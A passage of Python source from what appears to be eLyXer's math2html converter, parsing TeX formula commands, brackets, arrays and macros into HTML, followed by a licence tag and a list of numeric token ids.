SquareBracket().setfactory(self.factory) self.add(bracket.parseliteral(pos)) return bracket.literal def parsetext(self, pos): "Parse a text parameter." self.factory.clearskipped(pos) if not self.factory.detecttype(Bracket, pos): Trace.error('No text parameter for ' + self.command) return None bracket = Bracket().setfactory(self.factory).parsetext(pos) self.add(bracket) return bracket class EmptyCommand(CommandBit): "An empty command (without parameters)" commandmap = FormulaConfig.commands def parsebit(self, pos): "Parse a command without parameters" self.contents = [FormulaConstant(self.translated)] class SpacedCommand(CommandBit): "An empty command which should have math spacing in formulas." commandmap = FormulaConfig.spacedcommands def parsebit(self, pos): "Place as contents the command translated and spaced." self.contents = [FormulaConstant(u' ' + self.translated + u' ')] class AlphaCommand(EmptyCommand): "A command without paramters whose result is alphabetical" commandmap = FormulaConfig.alphacommands def parsebit(self, pos): "Parse the command and set type to alpha" EmptyCommand.parsebit(self, pos) self.type = 'alpha' class OneParamFunction(CommandBit): "A function of one parameter" commandmap = FormulaConfig.onefunctions simplified = False def parsebit(self, pos): "Parse a function with one parameter" self.output = TaggedOutput().settag(self.translated) self.parseparameter(pos) self.simplifyifpossible() def simplifyifpossible(self): "Try to simplify to a single character." if self.original in self.commandmap: self.output = FixedOutput() self.html = [self.commandmap[self.original]] self.simplified = True class SymbolFunction(CommandBit): "Find a function which is represented by a symbol (like _ or ^)" commandmap = FormulaConfig.symbolfunctions def detect(self, pos): "Find the symbol" return pos.current() in SymbolFunction.commandmap def parsebit(self, pos): "Parse the symbol" self.setcommand(pos.current()) pos.skip(self.command) self.output = TaggedOutput().settag(self.translated) self.parseparameter(pos) class TextFunction(CommandBit): "A function where parameters are read as text." commandmap = FormulaConfig.textfunctions def parsebit(self, pos): "Parse a text parameter" self.output = TaggedOutput().settag(self.translated) self.parsetext(pos) def process(self): "Set the type to font" self.type = 'font' class LabelFunction(CommandBit): "A function that acts as a label" commandmap = FormulaConfig.labelfunctions def parsebit(self, pos): "Parse a literal parameter" self.key = self.parseliteral(pos) def process(self): "Add an anchor with the label contents." self.type = 'font' self.label = Label().create(' ', self.key, type = 'eqnumber') self.contents = [self.label] # store as a Label so we know it's been seen Label.names[self.key] = self.label class FontFunction(OneParamFunction): "A function of one parameter that changes the font" commandmap = FormulaConfig.fontfunctions def process(self): "Simplify if possible using a single character." self.type = 'font' self.simplifyifpossible() FormulaFactory.types += [FormulaCommand, SymbolFunction] FormulaCommand.types = [ AlphaCommand, EmptyCommand, OneParamFunction, FontFunction, LabelFunction, TextFunction, SpacedCommand, ] class BigSymbol(object): "A big symbol generator." symbols = FormulaConfig.bigsymbols def __init__(self, symbol): "Create the big symbol." self.symbol = symbol def getpieces(self): "Get an array with all pieces." if not self.symbol in self.symbols: return [self.symbol] if self.smalllimit(): return [self.symbol] return self.symbols[self.symbol] def smalllimit(self): "Decide if the limit should be a small, one-line symbol." if not DocumentParameters.displaymode: return True if len(self.symbols[self.symbol]) == 1: return True return Options.simplemath class BigBracket(BigSymbol): "A big bracket generator." def __init__(self, size, bracket, alignment='l'): "Set the size and symbol for the bracket." self.size = size self.original = bracket self.alignment = alignment self.pieces = None if bracket in FormulaConfig.bigbrackets: self.pieces = FormulaConfig.bigbrackets[bracket] def getpiece(self, index): "Return the nth piece for the bracket." function = getattr(self, 'getpiece' + unicode(len(self.pieces))) return function(index) def getpiece1(self, index): "Return the only piece for a single-piece bracket." return self.pieces[0] def getpiece3(self, index): "Get the nth piece for a 3-piece bracket: parenthesis or square bracket." if index == 0: return self.pieces[0] if index == self.size - 1: return self.pieces[-1] return self.pieces[1] def getpiece4(self, index): "Get the nth piece for a 4-piece bracket: curly bracket." if index == 0: return self.pieces[0] if index == self.size - 1: return self.pieces[3] if index == (self.size - 1)/2: return self.pieces[2] return self.pieces[1] def getcell(self, index): "Get the bracket piece as an array cell." piece = self.getpiece(index) span = 'span class="bracket align-' + self.alignment + '"' return TaggedBit().constant(piece, span) def getcontents(self): "Get the bracket as an array or as a single bracket." if self.size == 1 or not self.pieces: return self.getsinglebracket() rows = [] for index in range(self.size): cell = self.getcell(index) rows.append(TaggedBit().complete([cell], 'span class="arrayrow"')) return [TaggedBit().complete(rows, 'span class="array"')] def getsinglebracket(self): "Return the bracket as a single sign." if self.original == '.': return [TaggedBit().constant('', 'span class="emptydot"')] return [TaggedBit().constant(self.original, 'span class="symbol"')] class FormulaEquation(CommandBit): "A simple numbered equation." piece = 'equation' def parsebit(self, pos): "Parse the array" self.output = ContentsOutput() self.add(self.factory.parsetype(WholeFormula, pos)) class FormulaCell(FormulaCommand): "An array cell inside a row" def setalignment(self, alignment): self.alignment = alignment self.output = TaggedOutput().settag('span class="arraycell align-' + alignment +'"', True) return self def parsebit(self, pos): self.factory.clearskipped(pos) if pos.finished(): return self.add(self.factory.parsetype(WholeFormula, pos)) class FormulaRow(FormulaCommand): "An array row inside an array" cellseparator = FormulaConfig.array['cellseparator'] def setalignments(self, alignments): self.alignments = alignments self.output = TaggedOutput().settag('span class="arrayrow"', True) return self def parsebit(self, pos): "Parse a whole row" index = 0 pos.pushending(self.cellseparator, optional=True) while not pos.finished(): cell = self.createcell(index) cell.parsebit(pos) self.add(cell) index += 1 pos.checkskip(self.cellseparator) if len(self.contents) == 0: self.output = EmptyOutput() def createcell(self, index): "Create the cell that corresponds to the given index." alignment = self.alignments[index % len(self.alignments)] return self.factory.create(FormulaCell).setalignment(alignment) class MultiRowFormula(CommandBit): "A formula with multiple rows." def parserows(self, pos): "Parse all rows, finish when no more row ends" self.rows = [] first = True for row in self.iteraterows(pos): if first: first = False else: # intersparse empty rows self.addempty() row.parsebit(pos) self.addrow(row) self.size = len(self.rows) def iteraterows(self, pos): "Iterate over all rows, end when no more row ends" rowseparator = FormulaConfig.array['rowseparator'] while True: pos.pushending(rowseparator, True) row = self.factory.create(FormulaRow) yield row.setalignments(self.alignments) if pos.checkfor(rowseparator): self.original += pos.popending(rowseparator) else: return def addempty(self): "Add an empty row." row = self.factory.create(FormulaRow).setalignments(self.alignments) for index, originalcell in enumerate(self.rows[-1].contents): cell = row.createcell(index) cell.add(FormulaConstant(u' ')) row.add(cell) self.addrow(row) def addrow(self, row): "Add a row to the contents and to the list of rows." self.rows.append(row) self.add(row) class FormulaArray(MultiRowFormula): "An array within a formula" piece = 'array' def parsebit(self, pos): "Parse the array" self.output = TaggedOutput().settag('span class="array"', False) self.parsealignments(pos) self.parserows(pos) def parsealignments(self, pos): "Parse the different alignments" # vertical self.valign = 'c' literal = self.parsesquareliteral(pos) if literal: self.valign = literal # horizontal literal = self.parseliteral(pos) self.alignments = [] for l in literal: self.alignments.append(l) class FormulaMatrix(MultiRowFormula): "A matrix (array with center alignment)." piece = 'matrix' def parsebit(self, pos): "Parse the matrix, set alignments to 'c'." self.output = TaggedOutput().settag('span class="array"', False) self.valign = 'c' self.alignments = ['c'] self.parserows(pos) class FormulaCases(MultiRowFormula): "A cases statement" piece = 'cases' def parsebit(self, pos): "Parse the cases" self.output = ContentsOutput() self.alignments = ['l', 'l'] self.parserows(pos) for row in self.contents: for cell in row.contents: cell.output.settag('span class="case align-l"', True) cell.contents.append(FormulaConstant(u' ')) array = TaggedBit().complete(self.contents, 'span class="bracketcases"', True) brace = BigBracket(len(self.contents), '{', 'l') self.contents = brace.getcontents() + [array] class EquationEnvironment(MultiRowFormula): "A \\begin{}...\\end equation environment with rows and cells." def parsebit(self, pos): "Parse the whole environment." self.output = TaggedOutput().settag('span class="environment"', False) environment = self.piece.replace('*', '') if environment in FormulaConfig.environments: self.alignments = FormulaConfig.environments[environment] else: Trace.error('Unknown equation environment ' + self.piece) self.alignments = ['l'] self.parserows(pos) class BeginCommand(CommandBit): "A \\begin{}...\end command and what it entails (array, cases, aligned)" commandmap = {FormulaConfig.array['begin']:''} types = [FormulaEquation, FormulaArray, FormulaCases, FormulaMatrix] def parsebit(self, pos): "Parse the begin command" command = self.parseliteral(pos) bit = self.findbit(command) ending = FormulaConfig.array['end'] + '{' + command + '}' pos.pushending(ending) bit.parsebit(pos) self.add(bit) self.original += pos.popending(ending) self.size = bit.size def findbit(self, piece): "Find the command bit corresponding to the \\begin{piece}" for type in BeginCommand.types: if piece.replace('*', '') == type.piece: return self.factory.create(type) bit = self.factory.create(EquationEnvironment) bit.piece = piece return bit FormulaCommand.types += [BeginCommand] class CombiningFunction(OneParamFunction): commandmap = FormulaConfig.combiningfunctions def parsebit(self, pos): "Parse a combining function." self.type = 'alpha' combining = self.translated parameter = self.parsesingleparameter(pos) if not parameter: Trace.error('Empty parameter for combining function ' + self.command) elif len(parameter.extracttext()) != 1: Trace.error('Applying combining function ' + self.command + ' to invalid string "' + parameter.extracttext() + '"') self.contents.append(Constant(combining)) def parsesingleparameter(self, pos): "Parse a parameter, or a single letter." self.factory.clearskipped(pos) if pos.finished(): Trace.error('Error while parsing single parameter at ' + pos.identifier()) return None if self.factory.detecttype(Bracket, pos) \ or self.factory.detecttype(FormulaCommand, pos): return self.parseparameter(pos) letter = FormulaConstant(pos.skipcurrent()) self.add(letter) return letter class DecoratingFunction(OneParamFunction): "A function that decorates some bit of text" commandmap = FormulaConfig.decoratingfunctions def parsebit(self, pos): "Parse a decorating function" self.type = 'alpha' symbol = self.translated self.symbol = TaggedBit().constant(symbol, 'span class="symbolover"') self.parameter = self.parseparameter(pos) self.output = TaggedOutput().settag('span class="withsymbol"') self.contents.insert(0, self.symbol) self.parameter.output = TaggedOutput().settag('span class="undersymbol"') self.simplifyifpossible() class LimitCommand(EmptyCommand): "A command which accepts limits above and below, in display mode." commandmap = FormulaConfig.limitcommands def parsebit(self, pos): "Parse a limit command." pieces = BigSymbol(self.translated).getpieces() self.output = TaggedOutput().settag('span class="limits"') for piece in pieces: self.contents.append(TaggedBit().constant(piece, 'span class="limit"')) class LimitPreviousCommand(LimitCommand): "A command to limit the previous command." commandmap = None def parsebit(self, pos): "Do nothing." self.output = TaggedOutput().settag('span class="limits"') self.factory.clearskipped(pos) def __unicode__(self): "Return a printable representation." return 'Limit previous command' class LimitsProcessor(MathsProcessor): "A processor for limits inside an element." def process(self, contents, index): "Process the limits for an element." if Options.simplemath: return if self.checklimits(contents, index): self.modifylimits(contents, index) if self.checkscript(contents, index) and self.checkscript(contents, index + 1): self.modifyscripts(contents, index) def checklimits(self, contents, index): "Check if the current position has a limits command." if not DocumentParameters.displaymode: return False if self.checkcommand(contents, index + 1, LimitPreviousCommand): self.limitsahead(contents, index) return False if not isinstance(contents[index], LimitCommand): return False return self.checkscript(contents, index + 1) def limitsahead(self, contents, index): "Limit the current element based on the next." contents[index + 1].add(contents[index].clone()) contents[index].output = EmptyOutput() def modifylimits(self, contents, index): "Modify a limits commands so that the limits appear above and below." limited = contents[index] subscript = self.getlimit(contents, index + 1) limited.contents.append(subscript) if self.checkscript(contents, index + 1): superscript = self.getlimit(contents, index + 1) else: superscript = TaggedBit().constant(u' ', 'sup class="limit"') limited.contents.insert(0, superscript) def getlimit(self, contents, index): "Get the limit for a limits command." limit = self.getscript(contents, index) limit.output.tag = limit.output.tag.replace('script', 'limit') return limit def modifyscripts(self, contents, index): "Modify the super- and subscript to appear vertically aligned." subscript = self.getscript(contents, index) # subscript removed so instead of index + 1 we get index again superscript = self.getscript(contents, index) scripts = TaggedBit().complete([superscript, subscript], 'span class="scripts"') contents.insert(index, scripts) def checkscript(self, contents, index): "Check if the current element is a sub- or superscript." return self.checkcommand(contents, index, SymbolFunction) def checkcommand(self, contents, index, type): "Check for the given type as the current element." if len(contents) <= index: return False return isinstance(contents[index], type) def getscript(self, contents, index): "Get the sub- or superscript." bit = contents[index] bit.output.tag += ' class="script"' del contents[index] return bit class BracketCommand(OneParamFunction): "A command which defines a bracket." commandmap = FormulaConfig.bracketcommands def parsebit(self, pos): "Parse the bracket." OneParamFunction.parsebit(self, pos) def create(self, direction, character): "Create the bracket for the given character." self.original = character self.command = '\\' + direction self.contents = [FormulaConstant(character)] return self class BracketProcessor(MathsProcessor): "A processor for bracket commands." def process(self, contents, index): "Convert the bracket using Unicode pieces, if possible." if Options.simplemath: return if self.checkleft(contents, index): return self.processleft(contents, index) def processleft(self, contents, index): "Process a left bracket." rightindex = self.findright(contents, index + 1) if not rightindex: return size = self.findmax(contents, index, rightindex) self.resize(contents[index], size) self.resize(contents[rightindex], size) def checkleft(self, contents, index): "Check if the command at the given index is left." return self.checkdirection(contents[index], '\\left') def checkright(self, contents, index): "Check if the command at the given index is right." return self.checkdirection(contents[index], '\\right') def checkdirection(self, bit, command): "Check if the given bit is the desired bracket command." if not isinstance(bit, BracketCommand): return False return bit.command == command def findright(self, contents, index): "Find the right bracket starting at the given index, or 0." depth = 1 while index < len(contents): if self.checkleft(contents, index): depth += 1 if self.checkright(contents, index): depth -= 1 if depth == 0: return index index += 1 return None def findmax(self, contents, leftindex, rightindex): "Find the max size of the contents between the two given indices." sliced = contents[leftindex:rightindex] return max([element.size for element in sliced]) def resize(self, command, size): "Resize a bracket command to the given size." character = command.extracttext() alignment = command.command.replace('\\', '') bracket = BigBracket(size, character, alignment) command.output = ContentsOutput() command.contents = bracket.getcontents() FormulaCommand.types += [ DecoratingFunction, CombiningFunction, LimitCommand, BracketCommand, ] FormulaProcessor.processors += [ LimitsProcessor(), BracketProcessor(), ] class ParameterDefinition(object): "The definition of a parameter in a hybrid function." "[] parameters are optional, {} parameters are mandatory." "Each parameter has a one-character name, like {$1} or {$p}." "A parameter that ends in ! like {$p!} is a literal." "Example: [$1]{$p!} reads an optional parameter $1 and a literal mandatory parameter p." parambrackets = [('[', ']'), ('{', '}')] def __init__(self): self.name = None self.literal = False self.optional = False self.value = None self.literalvalue = None def parse(self, pos): "Parse a parameter definition: [$0], {$x}, {$1!}..." for (opening, closing) in ParameterDefinition.parambrackets: if pos.checkskip(opening): if opening == '[': self.optional = True if not pos.checkskip('$'): Trace.error('Wrong parameter name, did you mean $' + pos.current() + '?') return None self.name = pos.skipcurrent() if pos.checkskip('!'): self.literal = True if not pos.checkskip(closing): Trace.error('Wrong parameter closing ' + pos.skipcurrent()) return None return self Trace.error('Wrong character in parameter template: ' + pos.skipcurrent()) return None def read(self, pos, function): "Read the parameter itself using the definition." if self.literal: if self.optional: self.literalvalue = function.parsesquareliteral(pos) else: self.literalvalue = function.parseliteral(pos) if self.literalvalue: self.value = FormulaConstant(self.literalvalue) elif self.optional: self.value = function.parsesquare(pos) else: self.value = function.parseparameter(pos) def __unicode__(self): "Return a printable representation." result = 'param ' + self.name if self.value: result += ': ' + unicode(self.value) else: result += ' (empty)' return result class ParameterFunction(CommandBit): "A function with a variable number of parameters defined in a template." "The parameters are defined as a parameter definition." def readparams(self, readtemplate, pos): "Read the params according to the template." self.params = dict() for paramdef in self.paramdefs(readtemplate): paramdef.read(pos, self) self.params['$' + paramdef.name] = paramdef def paramdefs(self, readtemplate): "Read each param definition in the template" pos = TextPosition(readtemplate) while not pos.finished(): paramdef = ParameterDefinition().parse(pos) if paramdef: yield paramdef def getparam(self, name): "Get a parameter as parsed." if not name in self.params: return None return self.params[name] def getvalue(self, name): "Get the value of a parameter." return self.getparam(name).value def getliteralvalue(self, name): "Get the literal value of a parameter." param = self.getparam(name) if not param or not param.literalvalue: return None return param.literalvalue class HybridFunction(ParameterFunction): """ A parameter function where the output is also defined using a template. The template can use a number of functions; each function has an associated tag. Example: [f0{$1},span class="fbox"] defines a function f0 which corresponds to a span of class fbox, yielding <span class="fbox">$1</span>. Literal parameters can be used in tags definitions: [f0{$1},span style="color: $p;"] yields <span style="color: $p;">$1</span>, where $p is a literal parameter. Sizes can be specified in hybridsizes, e.g. adding parameter sizes. By default the resulting size is the max of all arguments. Sizes are used to generate the right parameters. A function followed by a single / is output as a self-closing XHTML tag: [f0/,hr] will generate <hr/>. """ commandmap = FormulaConfig.hybridfunctions def parsebit(self, pos): "Parse a function with [] and {} parameters" readtemplate = self.translated[0] writetemplate = self.translated[1] self.readparams(readtemplate, pos) self.contents = self.writeparams(writetemplate) self.computehybridsize() def writeparams(self, writetemplate): "Write all params according to the template" return self.writepos(TextPosition(writetemplate)) def writepos(self, pos): "Write all params as read in the parse position." result = [] while not pos.finished(): if pos.checkskip('$'): param = self.writeparam(pos) if param: result.append(param) elif pos.checkskip('f'): function = self.writefunction(pos) if function: function.type = None result.append(function) elif pos.checkskip('('): result.append(self.writebracket('left', '(')) elif pos.checkskip(')'): result.append(self.writebracket('right', ')')) else: result.append(FormulaConstant(pos.skipcurrent())) return result def writeparam(self, pos): "Write a single param of the form $0, $x..." name = '$' + pos.skipcurrent() if not name in self.params: Trace.error('Unknown parameter ' + name) return None if not self.params[name]: return None if pos.checkskip('.'): self.params[name].value.type = pos.globalpha() return self.params[name].value def writefunction(self, pos): "Write a single function f0,...,fn." tag = self.readtag(pos) if not tag: return None if pos.checkskip('/'): # self-closing XHTML tag, such as <hr/> return TaggedBit().selfcomplete(tag) if not pos.checkskip('{'): Trace.error('Function should be defined in {}') return None pos.pushending('}') contents = self.writepos(pos) pos.popending() if len(contents) == 0: return None return TaggedBit().complete(contents, tag) def readtag(self, pos): "Get the tag corresponding to the given index. Does parameter substitution." if not pos.current().isdigit(): Trace.error('Function should be f0,...,f9: f' + pos.current()) return None index = int(pos.skipcurrent()) if 2 + index > len(self.translated): Trace.error('Function f' + unicode(index) + ' is not defined') return None tag = self.translated[2 + index] if not '$' in tag: return tag for variable in self.params: if variable in tag: param = self.params[variable] if not param.literal: Trace.error('Parameters in tag ' + tag + ' should be literal: {' + variable + '!}') continue if param.literalvalue: value = param.literalvalue else: value = '' tag = tag.replace(variable, value) return tag def writebracket(self, direction, character): "Return a new bracket looking at the given direction." return self.factory.create(BracketCommand).create(direction, character) def computehybridsize(self): "Compute the size of the hybrid function." if not self.command in HybridSize.configsizes: self.computesize() return self.size = HybridSize().getsize(self) # set the size in all elements at first level for element in self.contents: element.size = self.size class HybridSize(object): "The size associated with a hybrid function." configsizes = FormulaConfig.hybridsizes def getsize(self, function): "Read the size for a function and parse it." sizestring = self.configsizes[function.command] for name in function.params: if name in sizestring: size = function.params[name].value.computesize() sizestring = sizestring.replace(name, unicode(size)) if '$' in sizestring: Trace.error('Unconverted variable in hybrid size: ' + sizestring) return 1 return eval(sizestring) FormulaCommand.types += [HybridFunction] class HeaderParser(Parser): "Parses the LyX header" def parse(self, reader): "Parse header parameters into a dictionary, return the preamble." contents = [] self.parseending(reader, lambda: self.parseline(reader, contents)) # skip last line reader.nextline() return contents def parseline(self, reader, contents): "Parse a single line as a parameter or as a start" line = reader.currentline() if line.startswith(HeaderConfig.parameters['branch']): self.parsebranch(reader) return elif line.startswith(HeaderConfig.parameters['lstset']): LstParser().parselstset(reader) return elif line.startswith(HeaderConfig.parameters['beginpreamble']): contents.append(self.factory.createcontainer(reader)) return # no match self.parseparameter(reader) def parsebranch(self, reader): "Parse all branch definitions." branch = reader.currentline().split()[1] reader.nextline() subparser = HeaderParser().complete(HeaderConfig.parameters['endbranch']) subparser.parse(reader) options = BranchOptions(branch) for key in subparser.parameters: options.set(key, subparser.parameters[key]) Options.branches[branch] = options def complete(self, ending): "Complete the parser with the given ending." self.ending = ending return self class PreambleParser(Parser): "A parser for the LyX preamble." preamble = [] def parse(self, reader): "Parse the full preamble with all statements." self.ending = HeaderConfig.parameters['endpreamble'] self.parseending(reader, lambda: self.parsepreambleline(reader)) return [] def parsepreambleline(self, reader): "Parse a single preamble line." PreambleParser.preamble.append(reader.currentline()) reader.nextline() class LstParser(object): "Parse global and local lstparams." globalparams = dict() def parselstset(self, reader): "Parse a declaration of lstparams in lstset." paramtext = self.extractlstset(reader) if not '{' in paramtext: Trace.error('Missing opening bracket in lstset: ' + paramtext) return lefttext = paramtext.split('{')[1] croppedtext = lefttext[:-1] LstParser.globalparams = self.parselstparams(croppedtext) def extractlstset(self, reader): "Extract the global lstset parameters." paramtext = '' while not reader.finished(): paramtext += reader.currentline() reader.nextline() if paramtext.endswith('}'): return paramtext Trace.error('Could not find end of \\lstset settings; aborting') def parsecontainer(self, container): "Parse some lstparams from elyxer.a container." container.lstparams = LstParser.globalparams.copy() paramlist = container.getparameterlist('lstparams') container.lstparams.update(self.parselstparams(paramlist)) def parselstparams(self, paramlist): "Process a number of lstparams from elyxer.a list." paramdict = dict() for param in paramlist: if not '=' in param: if len(param.strip()) > 0: Trace.error('Invalid listing parameter ' + param) else: key, value = param.split('=', 1) paramdict[key] = value return paramdict class MacroDefinition(CommandBit): "A function that defines a new command (a macro)." macros = dict() def parsebit(self, pos): "Parse the function that defines the macro." self.output = EmptyOutput() self.parameternumber = 0 self.defaults = [] self.factory.defining = True self.parseparameters(pos) self.factory.defining = False Trace.debug('New command ' + self.newcommand + ' (' + \ unicode(self.parameternumber) + ' parameters)') self.macros[self.newcommand] = self def parseparameters(self, pos): "Parse all optional parameters (number of parameters, default values)" "and the mandatory definition." self.newcommand = self.parsenewcommand(pos) # parse number of parameters literal = self.parsesquareliteral(pos) if literal: self.parameternumber = int(literal) # parse all default values bracket = self.parsesquare(pos) while bracket: self.defaults.append(bracket) bracket = self.parsesquare(pos) # parse mandatory definition self.definition = self.parseparameter(pos) def parsenewcommand(self, pos): "Parse the name of the new command." self.factory.clearskipped(pos) if self.factory.detecttype(Bracket, pos): return self.parseliteral(pos) if self.factory.detecttype(FormulaCommand, pos): return self.factory.create(FormulaCommand).extractcommand(pos) Trace.error('Unknown formula bit in defining function at ' + pos.identifier()) return 'unknown' def instantiate(self): "Return an instance of the macro." return self.definition.clone() class MacroParameter(FormulaBit): "A parameter from elyxer.a macro." def detect(self, pos): "Find a macro parameter: #n." return pos.checkfor('#') def parsebit(self, pos): "Parse the parameter: #n." if not pos.checkskip('#'): Trace.error('Missing parameter start #.') return self.number = int(pos.skipcurrent()) self.original = '#' + unicode(self.number) self.contents = [TaggedBit().constant('#' + unicode(self.number), 'span class="unknown"')] class MacroFunction(CommandBit): "A function that was defined using a macro." commandmap = MacroDefinition.macros def parsebit(self, pos): "Parse a number of input parameters." self.output = FilteredOutput() self.values = [] macro = self.translated self.parseparameters(pos, macro) self.completemacro(macro) def parseparameters(self, pos, macro): "Parse as many parameters as are needed." self.parseoptional(pos, list(macro.defaults)) self.parsemandatory(pos, macro.parameternumber - len(macro.defaults)) if len(self.values) < macro.parameternumber: Trace.error('Missing parameters in macro ' + unicode(self)) def parseoptional(self, pos, defaults): "Parse optional parameters." optional = [] while self.factory.detecttype(SquareBracket, pos): optional.append(self.parsesquare(pos)) if len(optional) > len(defaults): break for value in optional: default = defaults.pop() if len(value.contents) > 0: self.values.append(value) else: self.values.append(default) self.values += defaults def parsemandatory(self, pos, number): "Parse a number of mandatory parameters." for index in range(number): parameter = self.parsemacroparameter(pos, number - index) if not parameter: return self.values.append(parameter) def parsemacroparameter(self, pos, remaining): "Parse a macro parameter. Could be a bracket or a single letter." "If there are just two values remaining and there is a running number," "parse as two separater numbers." self.factory.clearskipped(pos) if pos.finished(): return None if self.factory.detecttype(FormulaNumber, pos): return self.parsenumbers(pos, remaining) return self.parseparameter(pos) def parsenumbers(self, pos, remaining): "Parse the remaining parameters as a running number." "For example, 12 would be {1}{2}." number = self.factory.parsetype(FormulaNumber, pos) if not len(number.original) == remaining: return number for digit in number.original: value = self.factory.create(FormulaNumber) value.add(FormulaConstant(digit)) value.type = number self.values.append(value) return None def completemacro(self, macro): "Complete the macro with the parameters read." self.contents = [macro.instantiate()] replaced = [False] * len(self.values) for parameter in self.searchall(MacroParameter): index = parameter.number - 1 if index >= len(self.values): Trace.error('Macro parameter index out of bounds: ' + unicode(index)) return replaced[index] = True parameter.contents = [self.values[index].clone()] for index in range(len(self.values)): if not replaced[index]: self.addfilter(index, self.values[index]) def addfilter(self, index, value): "Add a filter for the given parameter number and parameter value." original = '#' + unicode(index + 1) value = ''.join(self.values[0].gethtml()) self.output.addfilter(original, value) class FormulaMacro(Formula): "A math macro defined in an inset." def __init__(self): self.parser = MacroParser() self.output = EmptyOutput() def __unicode__(self): "Return a printable representation." return 'Math macro' FormulaFactory.types += [ MacroParameter ] FormulaCommand.types += [ MacroFunction, ] def math2html(formula): "Convert some TeX math to HTML." factory = FormulaFactory() whole = factory.parseformula(formula) FormulaProcessor().process(whole) whole.process() return ''.join(whole.gethtml()) def main(): "Main function, called if invoked from elyxer.the command line" args = sys.argv Options().parseoptions(args) if len(args) != 1: Trace.error('Usage: math2html.py escaped_string') exit() result = math2html(args[0]) Trace.message(result) if __name__ == '__main__': main()
mit
[ 3168, 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 257, 3473, 18, 1360, 26, 3957, 14081, 26426, 370, 4163, 1072, 14, 199, 3, 199, 3, 257, 1898, 334, 35, 9, 8937, 13, 8128, 22986, 481, 27569, 11302, 78, 271, 90, 199, 3, 199, 3, 257, 17646, 68, 1334, 314, 2895, 402, 314, 658, 18, 13, 16009, 6289, 4190, 7, 3131, 315, 3974, 26, 199, 3, 257, 11247, 316, 436, 4084, 402, 642, 570, 12, 543, 503, 1928, 7100, 12, 199, 3, 257, 787, 8211, 315, 1263, 21576, 1928, 882, 89, 13248, 2741, 314, 4248, 199, 3, 257, 4245, 436, 642, 4245, 787, 17731, 14, 199, 3, 257, 961, 570, 365, 402, 22941, 465, 13, 374, 12, 1928, 1263, 3750, 14, 199, 3, 199, 3, 2508, 485, 18, 13, 16009, 6289, 4190, 26, 1455, 921, 1544, 14, 681, 8373, 14, 1308, 15, 2383, 15, 15400, 13, 18, 13, 16009, 199, 199, 3, 257, 21311, 641, 325, 27480, 56, 281, 26, 3957, 491, 89, 56, 1350, 1584, 370, 4163, 1072, 14, 199, 3, 257, 1455, 921, 7742, 32200, 14, 2865, 3689, 14, 1308, 15, 199, 199, 3, 1553, 500, 306, 199, 3, 22986, 1784, 614, 6019, 199, 3, 325, 27480, 56, 281, 18042, 15723, 8603, 370, 4163, 14, 6905, 199, 646, 984, 199, 199, 533, 11680, 8, 785, 304, 523, 298, 33, 23465, 1021, 2, 819, 3105, 632, 275, 756, 523, 11971, 632, 275, 756, 523, 2498, 1278, 632, 275, 756, 819, 2403, 275, 488, 819, 347, 3105, 8, 1886, 12, 1245, 304, 272, 298, 6824, 282, 3105, 1245, 2, 272, 340, 440, 11680, 14, 1757, 632, 503, 11680, 14, 10243, 632, 26, 489, 372, 272, 11680, 14, 2384, 8, 1188, 12, 984, 14, 2703, 9, 819, 347, 1245, 8, 1886, 12, 1245, 304, 272, 298, 6824, 282, 3307, 1245, 2, 272, 340, 11680, 14, 10243, 632, 26, 489, 372, 272, 340, 11680, 14, 1861, 436, 11680, 14, 2384, 1278, 632, 26, 489, 1245, 275, 11680, 14, 1861, 435, 1245, 272, 11680, 14, 2384, 8, 1188, 12, 984, 14, 2703, 9, 819, 347, 1125, 8, 1886, 12, 1245, 304, 272, 298, 6824, 376, 1125, 1245, 2, 272, 1245, 275, 6438, 283, 435, 1245, 272, 340, 11680, 14, 1861, 436, 11680, 14, 2384, 1278, 632, 26, 489, 1245, 275, 11680, 14, 1861, 435, 1245, 272, 11680, 14, 2384, 8, 1188, 12, 984, 14, 3083, 9, 819, 347, 14294, 8, 1886, 12, 1245, 304, 272, 298, 6824, 376, 1125, 1245, 436, 15095, 2, 272, 11680, 14, 705, 360, 29086, 26, 283, 435, 1245, 9, 272, 4458, 2801, 17, 9, 819, 347, 2498, 8, 1886, 12, 1245, 12, 3623, 304, 272, 298, 6824, 282, 1245, 734, 402, 282, 3623, 2, 272, 340, 984, 14, 1023, 63, 815, 665, 334, 19, 12, 16, 304, 489, 1245, 275, 1245, 14, 2143, 360, 1624, 13, 24, 358, 272, 3623, 14, 952, 8, 1188, 435, 1557, 78, 358, 819, 3105, 275, 18990, 8, 1757, 9, 523, 1245, 275, 18990, 8, 1188, 9, 523, 1125, 275, 18990, 8, 705, 9, 523, 14294, 275, 18990, 8, 16208, 9, 523, 2498, 275, 18990, 8, 2384, 9, 6905, 199, 646, 747, 14, 515, 199, 646, 984, 421, 199, 533, 21949, 30349, 2028, 8, 785, 304, 523, 298, 5688, 1021, 687, 579, 20937, 281, 14, 888, 570, 2, 819, 2236, 3289, 6002, 292, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 14, 2672, 1213, 14, 665, 73, 30, 4, 7067, 1108, 73, 6244, 91, 469, 4, 2405, 26, 93, 4, 5856, 28209, 2672, 4482, 2672, 3403, 23379, 886, 73, 26, 2672, 27334, 14, 8847, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 7, 25171, 356, 85, 7, 4, 30959, 22187, 3403, 3196, 15166, 399, 5121, 69, 1879, 356, 85, 7, 4, 8149, 14, 665, 73, 30, 4, 1213, 1108, 73, 10827, 2672, 12789, 12, 2672, 3403, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 789, 819, 5131, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 14, 2672, 1213, 23379, 665, 73, 30, 4, 7067, 1108, 73, 22266, 12, 469, 4, 2405, 8847, 22187, 1955, 9, 4863, 28476, 2672, 5856, 8847, 12, 2672, 3403, 5565, 8847, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 665, 65, 4369, 628, 4, 1501, 1743, 4, 1501, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 7, 25171, 356, 85, 7, 4, 11762, 4, 7080, 297, 15166, 399, 5121, 69, 1879, 356, 85, 7, 4, 8149, 14, 2672, 1213, 23379, 665, 73, 30, 4, 7067, 1108, 73, 6244, 93, 